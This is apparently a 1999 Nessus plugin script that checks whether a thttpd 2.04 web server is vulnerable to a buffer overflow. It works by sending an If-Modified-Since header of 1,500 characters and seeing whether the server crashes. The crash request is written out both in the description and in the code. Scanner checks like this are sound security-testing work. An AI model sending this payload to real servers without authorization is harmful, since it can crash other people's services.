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#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10285);
script_cve_id("CAN-2000-0359");
name["english"] = "thttpd 2.04 buffer overflow";
name["francais"] = "Dpassement de buffer dans thttpd 2.04";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "It is possible to make the remote thttpd server execute
arbitrary code by sending a request like :
GET / HTTP/1.0
If-Modified-Since: AAA[...]AAAA
A cracker may use this to gain control on your computer.
Solution : if you are using thttpd, upgrade to version 2.05. If you
are not, then contact your vendor and ask for a patch,
or change your web server
Risk factor : High.";
desc["francais"] = "Il est possible de faire executer du code arbitraire
un serveur faisant tourner thttpd en lui envoyant :
GET / HTTP/1.0
If-Modified-Since: AAA[...]AAA
Un pirate peut utiliser ce problme pour obtenir un shell
sur ce systme.
Solution : Si vous utilisez thttpd, upgradez en version 2.05, sinon
contactez votre vendeur et demandez un patch, ou changez
de serveur web
Facteur de risque : Elev.";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "thttpd buffer overflow";
summary["francais"] = "Dpassement de buffer dans thhtpd";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Gain root remotely";
family["francais"] = "Passer root distance";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes", "www_too_long_url.nasl");
script_exclude_keys("www/too_long_url_crash");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
# if the server already crashes because of a too long
# url, go away
too_long = get_kb_item("www/too_long_url_crash");
if(too_long)exit(0);
port = get_kb_item("Services/www");
if(!port)port = 80;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc > 0)
{
data = http_get(item:"/", port:port);
data = data - string("\r\n\r\n");
data = data + string("\r\nIf-Modified-Since: ", crap(1500), "\r\n\r\n");
send(socket:soc, data:data);
close(soc);
sleep(1);
soc2 = open_sock_tcp(port);
if(!soc2)security_hole(port);
else close(soc2);
}
}
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